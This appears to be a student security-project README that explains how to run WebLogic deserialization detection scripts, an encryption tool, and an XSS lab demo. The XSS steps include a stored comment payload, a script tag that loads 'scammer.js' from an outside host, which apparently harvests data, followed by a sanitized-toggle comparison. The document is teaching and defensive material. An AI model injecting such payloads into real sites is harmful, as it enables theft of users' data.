- Matthew Stewart 813117546
- Nicholas Mendez 811002795
- Linux Distro for Q1
- Python 2.7
- install nmap
$sudo apt-get install nmap
- pip dependencies
$ sudo pip install -r requirements.txt
Run Python scripts to detect Java Deserialization vulnerability in Oracle Web Logic
- detect.py - primary method
- scan.py - alternative method
-
Generate keys using 8 character password also take note of the IV generated (IMPORTANT)
$ python main.py generate-keys {8 character password}
-
Make sure publickey.dat is in the directory then encrypt a message (enclosed in quotes)
$ python main.py encrypt "{enter message here}"
-
Make sure privatekey.dat and cipher.dat is in the directory and decrypt the message enter the previously mentioned generated IV and password when prompted.
$ python main.py decrypt
- Go To Demo Link on chrome.
- Open DevTools Javascript Console (F12).
- Login With username: "bob", password "bob".
- Create a comment "<script src="https://snickdx.me/xss/scammer.js"></script>" to perform xss.
- Console should show message "Thanks for the data... loser" showing xss was successful.
- Delete previous comment.
- Click the "XSS Protection Toggle" then recreate comment.
- The comment should be displayed and the console should indicate that it has been sanitized.